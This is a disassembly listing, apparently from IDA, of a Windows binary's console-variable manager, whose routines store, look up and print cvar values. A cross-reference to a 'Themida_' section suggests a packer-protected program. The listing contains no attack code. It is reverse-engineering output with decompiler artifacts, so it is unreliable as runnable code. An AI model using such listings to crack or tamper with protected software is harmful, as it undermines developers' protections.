		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B0B0	proc near		; CODE XREF: sub_4019F1j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B0B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401749
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401BF4
sub_40B0B0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43E020
		call	sub_401BEF
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B170	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401BEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401555
sub_40B170	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B210	proc near		; CODE XREF: sub_4017EEj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401BEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40B210	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B390	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FBE
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FBE
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F32
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FBE
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401906
sub_40B390	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B430	proc near		; CODE XREF: sub_401B5Ej

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401861
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401861
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401861
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40180C
sub_40B430	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B520	proc near		; CODE XREF: sub_4019CEj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_40153C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B5A1
		mov	edi, [esp+10h+arg_0]


loc_40B566:				; CODE XREF: sub_40B520+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021AD
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B5AB
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B566


loc_40B5A1:				; CODE XREF: sub_40B520+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B5AB:				; CODE XREF: sub_40B520+60j
		call	sub_401F5A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B520	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B5F0:				; CODE XREF: ___:00401456j
		push	0FFFFFFFFh
		push	offset loc_438BF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401861
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019CE
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B680	proc near		; CODE XREF: sub_401596j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B6D1
		mov	byte ptr [esi+19h], 1


loc_40B6D1:				; CODE XREF: sub_40B680+4Bj
		pop	esi
		retn	8
sub_40B680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B700	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B755
		mov	byte ptr [esi+19h], 1


loc_40B755:				; CODE XREF: sub_40B700+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B790:				; CODE XREF: ___:00401D43j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		fld	dword ptr [esp+10h]
		fcomp	flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B7E1
		mov	byte ptr [esi+19h], 1


loc_40B7E1:				; CODE XREF: ___:0040B7DBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B810:				; CODE XREF: ___:00401C94j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B840
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B840:				; CODE XREF: ___:0040B818j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
byte_40B860	db 20h dup(0CCh)	; DATA XREF: Themida_:005A1D5Do
; ---------------------------------------------------------------------------


loc_40B880:				; CODE XREF: ___:00401D6Bj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B8B0
		mov	byte ptr [esi+19h], 1


loc_40B8B0:				; CODE XREF: ___:0040B8AAj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: ___:loc_401ACDj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_438C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BA12
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_40153C
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BA0B


loc_40B976:				; CODE XREF: ___:0040BA05j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F5A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017E4
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h
		push	5DCh
		call	near ptr 29B0000h
		nop
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40B976


loc_40BA0B:				; CODE XREF: ___:0040B970j
		mov	al, 1
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BA12:				; CODE XREF: ___:0040B907j
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BAA5
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BAA5:				; CODE XREF: ___:0040BA24j
		lea	ecx, [ebp+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BB98
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014C9
		mov	ebx, 2
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F32
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: ___:0040BA60j
					; ___:0040BAB7j ...
		xor	al, al


loc_40BB9A:				; CODE XREF: ___:0040BA0Dj
					; ___:0040BAA0j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BC70	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021CB
sub_40BC70	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BCB0	proc near		; CODE XREF: sub_401555j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FCD
sub_40BCB0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD20	proc near		; CODE XREF: sub_401451j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD60	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_401906j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C71
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C49
sub_40BD90	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDD0	proc near		; CODE XREF: sub_401BEFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BDD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE20	proc near		; CODE XREF: sub_40153Cj
		push	esi
		mov	esi, ecx
		call	sub_40213A
		mov	eax, esi
		pop	esi
		retn
sub_40BE20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401F5Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401839
		add	esp, 4
		retn
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE60	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BE60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE90	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CE9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BE90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BEC0	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016A4
		mov	edi, eax
		push	edi
		call	sub_40213F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021CB
sub_40BEC0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40213F
		push	edi
		mov	[eax], ebx
		call	sub_40213F
		mov	edi, [eax]
		push	edi
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401839
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F14
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF60	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40BFBA


loc_40BF78:				; CODE XREF: sub_40BF60+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B86
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40BF78
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40BF60+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BF60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFF0	proc near		; CODE XREF: sub_4021CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_40155F
sub_40BFF0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C005
		mov	edi, esi


loc_40C005:				; CODE XREF: ___:0040C001j
		push	esi
		call	sub_4020F9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C01A
		mov	edi, esi


loc_40C01A:				; CODE XREF: ___:0040C016j
		push	esi
		call	sub_40213F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

